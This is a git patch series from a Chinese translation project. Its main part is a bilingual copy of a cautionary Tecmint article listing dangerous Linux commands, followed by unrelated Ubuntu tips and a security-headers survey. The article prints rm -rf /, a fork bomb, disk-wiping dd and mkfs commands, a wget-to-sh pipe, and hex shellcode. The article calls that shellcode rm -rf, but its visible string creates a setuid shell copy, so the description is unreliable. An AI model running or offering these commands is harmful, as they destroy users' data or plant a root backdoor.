Command ### - -The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition. - -This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source. - - char esp[] __attribute__ ((section(“.text”))) /* e.s.p - release */ - = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″ - “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″ - “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″ - “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″ - “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″ - “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″ - “\x6e\x2f\x73\x68\x00\x2d\x63\x00″ - “cp -p /bin/sh /tmp/.beyond; chmod 4755 - /tmp/.beyond;”; - -**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible. - -That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback. - - --------------------------------------------------------------------------------- - -via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ -[2]: -[3]: -[4]: -[5]: -[6]: -[7]: -[8]: -[9]: -[10]: -[11]: -[12]: diff --git a/translated/10 Most Dangerous Commands – You Should Never Execute on Linux.md b/translated/10 Most Dangerous Commands – You Should Never Execute on Linux.md new file mode 100644 index 0000000000..c8c1f4c528 --- /dev/null +++ b/translated/10 Most Dangerous Commands – You Should Never Execute on Linux.md @@ -0,0 +1,166 @@ +10 Most Dangerous Commands – You Should Never Execute on Linux + +"10个最危险的命令 － 你永远不要在Linux下执行，否则呵呵.." + +"================================================================================" + +Linux command line is productive, useful and interesting but sometimes it may be very much dangerous specially when you are not sure what you are doing. This article is not intended to make you furious of **Linux** or **Linux command** line. We just want to make you aware of some of the commands which you should think twice before you execute them. + +"Linux命令行佷有用很高效，也很有趣，但有时候你不确定你自己在正在做什么时尤其的危险。这篇文章并不打算使你对**Linux**或**linux 命令行**感到愤怒。我们只是想让你意识到在你运行有些命令时应该三思而后行。" + +"![](http://www.tecmint.com/wp-content/uploads/2013/11/Dangerous-Linux-Commands.png)" + +### 1. rm -rf Command ### + +"### 1. rm -rf 命令　###" + +The **rm -rf** command is one of the fastest way to delete a folder and its contents. But a little typo or ignorance may result into unrecoverable system damage. The some of options used with **rm command** are. + +"**rm -rf**命令是删除文件夹及其内容最快的方式之一。仅仅一丁点的打字错误或无知都可能导致不可恢复的系统毁坏。下列是一些**rm 命令**的选项。" + +- **rm** command in Linux is used to delete files. +"- **rm**　命令在Linux下通常用来删除文件。" +- **rm -r** command deletes the folder recursively, even the empty folder. +"- **rm -r** 命令递归的删除文件夹，甚至是空的文件夹。" +- **rm -f** command removes ‘Read only File’ without asking. +"- **rm -f** 命令能不经过询问直接删除‘只读文件’。" +- **rm -rf /** : Force deletion of everything in root directory. +"- **rm -rf /** : 强制删除root目录下所有东东。" +- **rm -rf ** * : Force deletion of everything in current directory/working directory. +"- **rm -rf** * :　强制删除当前目录／工作目录的所有文件。" +- **rm -rf .** : Force deletion of current folder and sub folders. +"- **rm -rf .** : 强制删除当前文件夹及其子文件夹。" + +Hence, be careful when you are executing **rm -rf** command. To overcome accidental delete of file by ‘**rm**‘ command, create an alias of ‘**rm**‘ command as ‘**rm -i**‘ in “**.bashrc**” file, it will ask you to confirm every deletion. + +"从现在起，当你要执行**rm -rf**命令时请留心一点。我们可以在“**.bashrc**”文件对‘**rm**‘命令创建**rm -i**的别名，来预防用 ‘**rm**‘命令删除文件时的事故，它会要求你确认每一个删除请求。" + +### 2. :(){:|:&};: Command ### + +"### 2. :(){:|:&};: 命令###" + +The above is actually a **fork bomb**. It operates by defining a function called ‘:‘, which calls itself twice, once in the foreground and once in the background. It keeps on executing again and again till the system freezes. + +"这就是个**fork 炸弹**的实例。具体操作是通过定义一个名为 ‘:‘的函数，它会调用自己两次，一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。" + +" :(){:|:&};:" + +### 3. command > /dev/sda ### + +"### 3. 命令　> /dev/sda ###" + +The above command writes the output of ‘**command**‘ on the block **/dev/sda**. The above command writes raw data and all the files on the block will be replaced with raw data, thus resulting in total loss of data on the block. + +"上列命令会将‘**命令**‘的输出写到块设备**/dev/sda**中。该操作会将在块设备中的所有文件替换为命令写入的原始数据，从而导致整个块设备的数据丢失。" + +### 4. mv folder /dev/null ### + +"### 4. mv 文件夹 /dev/null ###" + +The above command will move ‘**folder**‘ to **/dev/null**. In Linux **/dev/null** or **null** device is a special file that discards all the data written to it and reports that write operation succeed. + +"上列命令会移动‘**文件夹**‘到**/dev/null**。在Linux中 **/dev/null** 或 **null** 设备是一个特殊的文件，所有写入它的数据都会被清除，然后返回写操作成功。" + +" # mv /home/user/* /dev/null" + +The above command will move all the contents of a **User** directory to **/dev/null**, which literally means everything there was sent to **blackhole (null)**. + +"上列命令会将**User**目录所有内容移动到**/dev/null**，这意味着所有东西都被‘卷入’**黑洞　(null)**之中。" + +### 5. wget http://malicious_source -O- | sh ### + +"### 5. wget http://malicious_source -O- | sh ###" + +The above command will download a script from a malicious source and then execute it. Wget command will download the script and **sh** will execute the downloaded script. + +"上列命令会从一个恶意源下载一个脚本并执行。Ｗget命令会下载这个脚本，而**sh**会执行下载下来的脚本。" + +**Note**: You should be very much aware of the source from where you are downloading packages and scripts. Only use those scripts/applications which is downloaded from a trusted source. + +"**注意**: 你应该时刻注意你下载包或脚本的源。只能使用那些从可信任的源中下载脚本/程序。" + +### 6. mkfs.ext3 /dev/sda ### + +"### 6. mkfs.ext3 /dev/sda ###" + +The above command will format the block ‘**sda**’ and you would surely be knowing that after execution of the above command your Block (**Hard Disk Drive**) would be new, **BRAND NEW!** Without any data, leaving your system into unrecoverable stage. + +"上列命令会格式化块设备‘**sda**’，你无疑知道在执行上列命令后你的块设备(**硬盘驱动器**)会被格式化，**崭新的!**没有任何数据，直接让你的系统达到不可恢复的阶段。" + +### 7. > file ### + +"### 7. > file###" + +The above command is used to flush the content of file. If the above command is executed with a typo or ignorance like “> **xt.conf**” will write the configuration file or any other system or configuration file. + +"上列命令常用来清空文件内容。如果用上列执行时输入错误或无知的输入类似 “> **xt.conf**”　的命令会覆盖配置文件或其他任何的系统配置文件。" + +### 8. ^foo^bar ### + +"### 8. ^foo^bar ###" + +This command, as described in our [10 Lesser Known Linux Commands][1], is used to edit the previous run command without the need of retyping the whole command again. But this can really be troublesome if you didn’t took the risk of thoroughly checking the change in original command using **^foo^bar** command. + +"这个命令在我们[10个鲜为人知的Linux命令][1]中描述过，用来编辑先前运行的命令而无需重打整个命令。但当用**^foo^bar**命令时如果你没有彻底检查改变原始命令的风险，这可能导致真正的麻烦。" + +### 9. dd if=/dev/random of=/dev/sda ### + +"### 9. dd if=/dev/random of=/dev/sda ###" + +The above command will wipe out the block **sda** and write random junk data to the block. Of-course! Your system would be left at inconsistent and unrecoverable stage. + +"上列命令会向块设备**sda**写入随机的垃圾文件从而擦出数据。当然！你的系统可能陷入不协调和不可恢复的状态。" + +### 10. Hidden the Command ### + +"### 10. 隐藏命令　###" + +The below command is nothing but the first command above (**rm -rf**). Here the codes are hidden in **hex** so that an ignorant user may be fooled. Running the below code in your terminal will wipe your **root** partition. + +"下面的命令其实就是上面第一个命令 (**rm -rf**)。这里的代码是隐藏在**十六进制**里的,一个无知的用户可能就会被愚弄。在终端里运行下面命令可能会擦除你对**root**分区。" + +This command here shows that the threat may be hidden and not normally detectable sometimes. You must be aware of what you are doing and what would be the result. Don’t compile/run codes from an unknown source. + +"这个命令表明通常真正的危险是隐藏的，不会被轻易的检测到。你必须时刻留心你在做什么结果会怎样。不要编译／运行从未知来源的代码。" + +" char esp[] __attribute__ ((section(“.text”))) /* e.s.p" +" release */" +" = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″" +" “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″" +" “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″" +" “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″" +" “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″" +" “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″" +" “\x6e\x2f\x73\x68\x00\x2d\x63\x00″" +" “cp -p /bin/sh /tmp/.beyond; chmod 4755" +" /tmp/.beyond;”;" + +**Note**: Don’t execute any of the above command in your **Linux** terminal or shell or of your friend or school computer. If you want to test them, run them in virtual machine. Any in-consistence or data loss, due to the execution of above command will break your system down for which, neither the **Author** of the article nor **Tecmint** is responsible. + +"**注意**: 不要在你的或你的同学或学校的电脑里的**Linux**终端或Shell执行以上的任何一个命令。如果你想测试它们，请在虚拟机上运行。任何不和谐或数据丢失，由于运行上面的命令导致你的系统崩溃，文章**作者**和**Tecmint**概不负责。" + +That’s all for now. I will soon be here again with another interesting article you people will love to read. Till then Stay tuned and connected to **Tecmint**. If you know any other such **Dangerous Linux Commands** and you would like us to add to the list, please tell us via comment section and don’t forgot to give your value-able feedback. + +"今天就到此为止吧，我会很快回来这里，同时带上另一篇你们喜欢的文章。到那时请继续关注和链接到**Tecmint**。如果你知道任何其他**危险的Linux命令**，也想添加到我们的列表中，请通过评论留言给我们同时也别忘了留下你的宝贵意见。" + + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-most-dangerous-commands-you-should-never-execute-on-linux/ + +译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ +[2]: +[3]: +[4]: +[5]: +[6]: +[7]: +[8]: +[9]: +[10]: +[11]: +[12]: From 609ab08a3100613743d98e08ac96916ef5769467 Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 27 Nov 2013 13:27:20 +0800 Subject: [PATCH 026/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md index ba570c8acc..f93c8d25b6 100644 --- a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -1,4 +1,3 @@ - 每日Ubuntu 小技巧 - Get Geary，Ubuntu下的一个轻量级Email 阅读器 ================================================================================ @@ -34,7 +33,7 @@ Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的 然后再运行以下命令卸载Geary 。 - sudo apt-get remove geary + sudo apt-get remove geary 就这么简单~ @@ -44,4 +43,4 @@ via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweig 译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From cb9d07d443e56d95501554c96c3bc2e49692180f Mon Sep 17 00:00:00 2001 From: carolinewuyan <309866211@qq.com> Date: Wed, 27 Nov 2013 14:10:54 +0800 Subject: [PATCH 027/148] =?UTF-8?q?=E5=B7=B2=E6=A0=A1=E5=AF=B9?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...ary, A Lightweight Email Reader In Ubuntu.md | 20 +++++++++---------- 1 file changed, 10 insertions(+), 10 deletions(-) diff --git a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md index f93c8d25b6..40173602d3 100644 --- a/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md +++ b/translated/Daily Ubuntu Tips – Get Geary, A Lightweight Email Reader In Ubuntu.md @@ -1,19 +1,19 @@ -每日Ubuntu 小技巧 - Get Geary，Ubuntu下的一个轻量级Email 阅读器 +每日Ubuntu小技巧——在Ubuntu下使用一款轻量级的Email阅读器-Geary ================================================================================ -正如大家所知，Ubuntu 原本就自带着可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail， Microsoft Outlook 等等支持IMAP 协议的邮件服务。 +正如大家所知，Ubuntu 本身自带可以收发邮件的客户端——Thunderbird，当然它也支持Gmail，Yahoo Mail，Microsoft Outlook 等等支持IMAP协议的邮件服务。 -Thunderbird 是一个无所不能伟大的邮件客户端，但是如果你想选择一个能在够在GNOME 下运行的轻量级的客户端，Geary 是一个不错的选择。 +Thunderbird 是一个功能强大的邮件客户端，只要email客户端所支持的功能，它都能够做到。但是如果你想选择一个能在够在GNOME 下运行的轻量级客户端，Geary 是一个不错的选择。 -Geary 是一个界面简洁，能让你快捷方便的阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必用鼠标来切换消息。 +Geary 是一个界面简洁，能让你快捷方便的地阅读邮件的免费程序。它所有的对话均展示在一个简洁的面板上，这样你可以不必点击鼠标来切换消息。 -Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的在线邮箱服务来发送和接收你的邮件。 +Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和 Microsoft 这样的在线邮箱服务来收发电子邮件。 -以Ubuntu 13.10为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 +以Ubuntu 13.10用户为例，Geary 可以在Ubuntu 的软件中心获取。只要运行以下命令即可安装Geary 。 sudo apt-get install geary -在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA 源。 +在以前的Ubuntu 版本中，键盘按下**Ctrl – Alt – T** 可以打开终端。打开之后，运行以下命令增加PPA源。 sudo add-apt-repository ppa:yorba/ppa @@ -21,13 +21,13 @@ Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的 sudo apt-get update && sudo apt-get install geary -当你第一次运行Geary 时，需要你设置邮箱的服务商。 +第一次启动Geary时，你需要设置你的Gmail，Yahoo 或 Microsoft 电子邮件帐户。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/11/gearyubuntu.png) 设置非常的简单，只要输入你的账号信息，Geary 就会自动配置好你的账号。 -若想卸载Geary ，首先要从系统中移除它的PPA 源，要运行的命令如下。 +若想卸载Geary ，首先要从系统中移除它的PPA源，要运行的命令如下。 sudo add-apt-repository -r ppa:yorba/ppa @@ -41,6 +41,6 @@ Geary 还支持IMAP 协议，你可以使用Google, Yahoo 和Microsoft 这样的 via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tips-get-geary-a-lightweight-email-reader-in-ubuntu/ -译者：[NearTan](https://github.com/NearTan) 校对：[校对者ID](https://github.com/校对者ID) +译者：[NearTan](https://github.com/NearTan) 校对：[Caroline](https://github.com/carolinewuyan) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 From 7d5fe47a963ab3858d63f6d8607631f614e22fe0 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Wed, 27 Nov 2013 14:52:52 +0800 Subject: [PATCH 028/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E4=B8=AD?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md index 0db06f8b62..02e6931db6 100644 --- a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md +++ b/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md @@ -40,4 +40,4 @@ via: http://www.liberiangeek.net/2013/09/daily-ubuntu-tips-adding-user-accounts- 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 -译者：[SCUSJS](https://github.com/scusjs) 校对：[校对者ID](https://github.com/校对者ID) +译者：[SCUSJS](https://github.com/scusjs) 校对：[jasmiepeng](https://github.com/jasminepeng) From 30a84794cd155edcd540fe7d09ed720ef770dab9 Mon Sep 17 00:00:00 2001 From: jasminepeng Date: Wed, 27 Nov 2013 15:08:07 +0800 Subject: [PATCH 029/148] =?UTF-8?q?=E6=A0=A1=E5=AF=B9=E5=AE=8C=E6=AF=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...Ubuntu Tips – Adding User Accounts In Ubuntu.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md b/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md index 02e6931db6..87d83f61f0 100644 --- a/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md +++ b/translated/Daily Ubuntu Tips – Adding User Accounts In Ubuntu.md @@ -3,17 +3,17 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用户可以通过独立的、个人的HOME文件夹，文件和设置访问计算机。用户A可以登录并修改他/她自己的配置文件而不会影响用户 **B ** 的配置文件。 -因此你可以为每一个可能使用你家里电脑的用户创建一个独立的账户而不是仅仅为所有人创建一个共享的账户。 +因此,你可以为每一个可能使用你家里电脑的用户创建一个独立的账户,而不是仅仅为所有人创建一个共享的账户。本短文将展示使用Ubuntu时如何实现这一点。 为了获得上面所说的那样的独立账户，首先点击长条菜单栏上的齿轮图标，然后点击系统设置。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/ubuntulockscreendisable4.png) -当如图所示的窗口打开后，点击“**用户账户（User Accounts）**” +当如图所示的窗口打开后，点击屏幕下方的“**用户账户（User Accounts）**”，如下图所示。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu.png) -要添加用户到你的Ubuntu需要管理员权限。如果你要这么做，就在添加账户前点击解锁。 +要添加用户到你的Ubuntu需要管理员权限。如果你要这么做，就在添加账户前点击解锁（Unlock)。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu1.png) @@ -21,17 +21,17 @@ Ubuntu是一个多用户操作系统。多用户操作系统意味着多个用 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu2.png) -当你创建用户时有两种基本的账户类型： **标准用户 ** 和 **管理员** 。管理员权限用户有权限删除用户，安装软件和驱动，修改日期和时间，或者会进行一些可能使计算机不稳当的操作。 +创建用户时有两种基本的账户类型： **标准用户** 和 **管理员** 。管理员权限用户有权限删除用户，安装软件和驱动，修改日期和时间，或者进行一些可能使计算机不稳定的操作。 标准用户不能进行这些操作。他/她只能够修改自己的个人设置里面的东西。 -当你输入用户的全名时，用户名将会根据全名自动的被选择。你可以保留自动生成的用户名，如果你需要的话也可以修改用户名。完成后，点击创建来创建账户。 +输入用户全名时，系统将根据全名自动选择用户名。你可以保留自动生成的用户名，也可以根据需要修改用户名。完成后，点击**创建（Create)**来创建账户。 -默认情况下，你创建的账户将会不可用，直到你修改/添加了密码。要想让账户可用，点击账户不可用按钮，然后输入密码。 +默认情况下，刚创建的账户将会不可用，直到它的密码被创建/修改。要想让账户可用，点击账户不可用按钮，然后输入密码。 ![](http://www.liberiangeek.net/wp-content/uploads/2013/09/useraccountsubuntu3.png) -如果你想要用户自动登录而不用输入密码，你可以在设置他/她登录密码的时候选择下载选项中的自动登录。 +如果你想要用户自动登录而不用输入密码，你可以在设置他/她登录密码的时候选择下拉选项中的自动登录。 Enjoy! -------------------------------------------------------------------------------- From 7efc9d86104ec3d3ba386e6e186eb66b3648b79a Mon Sep 17 00:00:00 2001 From: DeadFire Date: Wed, 27 Nov 2013 15:52:21 +0800 Subject: [PATCH 030/148] =?UTF-8?q?20131127-1=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...,000,000 Websites--November 2013 Report.md | 88 +++++++++++++++++++ 1 file changed, 88 insertions(+) create mode 100644 sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md diff --git a/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md b/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md new file mode 100644 index 0000000000..f7e7bd2b7d --- /dev/null +++ b/sources/Security Headers on the Top 1,000,000 Websites--November 2013 Report.md @@ -0,0 +1,88 @@ +Security Headers on the Top 1,000,000 Websites: November 2013 Report +================================================================================ +It has been almost exactly a year since we conducted the first top 1 million security headers report so it is a great time to re-run the analysis and see how well security header adoption is growing. As before, the latest Chrome and Firefox User-Agent strings were used to make requests to the top 1 million sites over both HTTP and HTTPS. Out of the 2,589,918 responses we had over 100,000 distinct security headers and values to analyze. + +Comparing with previous scans, we had 514,288 URLs that matched the first run we did in November 2012 and 1,207,169 URLs that matched from March 2013. This time around we added yet another security header “X-XSS-Protection” due to a request from a commenter on this blog. Unfortunately, we did not store this header in any of the prior scans so we are unable to compare its adoption rate. + +### Changes, Additions and Removals Yearly Review ### + +A total of 7,258 new security headers were added over the course of a year to the 514,288 URLs that existed in both data sets. As before, we see the largest increase in additions to X-Frame-Options and CORS headers. In a not so distant fourth we see Strict-Transport-Security steadily climbing with 538 new sites using the header. Even though X-Content-Security-Policy and X-WebKit-CSP are deprecated, we still see a small increase in their additions. Once again the highest used headers also end up having the highest number of removals with X-Frame-Options being removed from 365 sites over the course of the year. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_11.12-11.131.png) + +You may notice that the Content-Security-Policy header is missing from the yearly review, this is because it was not standardized when we first started this analysis. To see the adoption rate of the standardized CSP, we need to look at a comparison of the scan that was conducted in March 2013. + +### Changes, Additions and Removals from March 2013 ### + +We have a lot more URLs that matched since last March, yet surprisingly, the charts look extremely similar. 7,099 new security headers were added for the 1,207,169 URLs that matched between this run and March 2013. Of these sites, a disappointingly small number of 62 sites enabled Content-Security-Policy with 47 sites enabling the soon to be disabled X-Content-Security-Policy header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/add_change_remove_03.13-11.13.png) + +While it would be nice to see CSP’s adoption rates increase more, it is quite understandable as it is such a large undertaking for any website to create a compliant policy. + +### November 2013 Results ### + +#### X-XSS-Protection #### + +This time around another header was added to the analysis. The Microsoft endorsed header was built to allow sites to control how Internet Explorer’s XSS Filtering feature is to be handled on a resource by resource basis. Valid values for X-XSS-Protection are as follows: + +1. 0 – Disables XSS protections +1. 1 – Enables XSS protections, in IE the filter will attempt to sanitize potential malicious characters. +1. 1; mode=block – Enables XSS protections and instructs IE to block the response instead of sanitizing. +1. 1; report=[url] – Allows reports to be sent to the specified URL of potential XSS attempts. + +It should be noted that Google Chrome’s XSS Auditor will also be disabled if a resource responds with 0 as the value for the X-XSS-Protection header. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_xss_protection_11.13.png) + +As previous readers will remember, invalid header values are a serious problem and X-XSS-Protection is no exception. Almost 480 sites incorrectly specified the value of “0; mode=block”. This means that 477 sites who think they are blocking XSS attacks are actively disabling the XSS protections built in to IE and Chrome. Please note that [YouTube][1] and [Blogspot][2] make up the majority of URLs using X-XSS-Protection with 14,210 for YouTube and 18,587 for Blogspot. + +### X-Frame-Options ### + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/x_frame_options_11.13.png) + +X-Frame-Options is still holding strong with SAMEORIGIN being by far the largest setting with YouTube again taking up the majority with 14,178 URLs all of which are set to SAMEORIGIN. Along with the jump in sites using X-Frame-Options we are also seeing an increase in invalid values being configured. + +### Cross Origin Request Sharing (CORS) Headers ### + +Once again we looked at the two CORS headers Access-Control-Allow-Origin and Access-Control-Allow-Credentials. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/acao_11.13.png) + +Unfortunately, we are still seeing a large number of sites incorrectly configuring Access-Control-Allow-Origin by specifying wildcards or multiple origins separated by various characters. As a reminder Access-Control-Allow-Origin only allows either * (wildcard value) or a single origin with a valid scheme specified. + +As for Access-Control-Allow-Credentials, 1388 sites have set the value to true, 51 for false. Surprisingly, we identified 196 sites setting wildcard origin access but setting Access-Control-Allow-Credentials to true which is an invalid combination of settings. + +### Strict-Transport-Security ### + +Due to readers suggestions we have changed the long max-age value to be anything greater than 604800 seconds, or 7 days. Likewise, values below are considered to be a short max-age. [Facebook][3] and [Etsy][4] comprise 74 and 61 URLs respectively in the Max Age of 0 column. As a reminder, a header value of 0 clears the domain from the browser’s Strict Transport Security cache. Of the more interesting invalid values, a large number of sites incorrectly use ‘,’ as a delimiter between the max-age value and includeSubDomains directives. Unfortunately, both Firefox and Chrome are extremely strict in this regard and will refuse to add the site to the STS cache if the ‘,’ character is used instead of the RFC defined token of ‘;’. Once again, please check the RFCs before implementing any of these security headers. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/sts_11.131.png) + +#### Content-Security-Policy #### + +Content Security Policy continues to grow in usage but extremely slowly. Only 269 sites are using the [w3 specification’s Content-Security-Policy][5] header, with 95 of these URLs coming from Facebook. Interestingly, 584 sites are using X-Content-Security-Policy and 487 sites are using X-Webkit-CSP. It should be noted that these two headers are already considered deprecated but have yet to be disabled. Only an extremely small number of sites using the report-only versions of the CSP headers were observed. It would be expected that web site operators wishing to test out CSP would use the report only mode to determine how Content Security Policy would impact their site, yet we only see 24 sites using Content-Security-Policy-Report-Only. + +![](http://www.veracode.com/blog/wp-content/uploads/2013/11/csp_11.13.png) + +The most interesting result of the CSP analysis is the large number of sites which use CSP with the unsafe directives. It is assumed the reason unsafe-inline has such a high rate of usage is due to how extremely hard it is for developers to remove all inline script from web page elements. While disappointing to see, it is understandable to anyone who has attempted to enact a strict CSP policy. + +### Conclusion ### + +It is safe to say that we have a long way to go to making sure our sites use all available means to protect themselves. While security headers are only a small part of defense, applied appropriately they can and do help us all be more secure internet users. While encouraging to see the numbers increasing, we must keep in mind that less than 10% (199,350) of the 2,589,918 URLs analyzed have security headers. While strict adherence to RFCs is necessary, typos, combined with the rigidness of directive parsing, do not help site administrators or users when encountering these headers. While hope should not be given up on CSP, it’s extremely low adoption rate is rather concerning and it may be worth considering creation of tools to help create, verify and support site administrators that wish to adopt CSP. + +As before, Veracode has released the raw data from this analysis, so feel free to download the November 2013 results here. + +-------------------------------------------------------------------------------- + +via: http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.youtube.com/ +[2]:http://www.blogspot.com/ +[3]:http://www.facebook.com/ +[4]:http://www.etsy.com/ +[5]:http://www.w3.org/TR/CSP/ \ No newline at end of file From 9d616903f7b1fcd0c94c195de3504929b1d7228f Mon Sep 17 00:00:00 2001 From: DeadFire Date: Wed, 27 Nov 2013 16:20:41 +0800 Subject: [PATCH 031/148] =?UTF-8?q?20131127-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ... Using OpenDNS’ Secure DNS Infrastructure.md | 35 +++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md diff --git a/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md b/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md new file mode 100644 index 0000000000..528e601256 --- /dev/null +++ b/sources/Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure.md @@ -0,0 +1,35 @@ +Daily Ubuntu Tips–Protect Your Computers Using OpenDNS’ Secure DNS Infrastructure +================================================================================ +The Internet is a jungle. Everyone – good and bad is connected to the same Internet we’re all connected to. Folks whose business is to infect your computer with nasty viruses and those who seek to protect the good guys are all connected. + +With that said, the Internet is the best thing that ever happened to mankind. It contains wealth of information and resources that anyone can access, mostly free of charge. Some of the most prestigious colleges are offering free high level courses to anyone who wants to 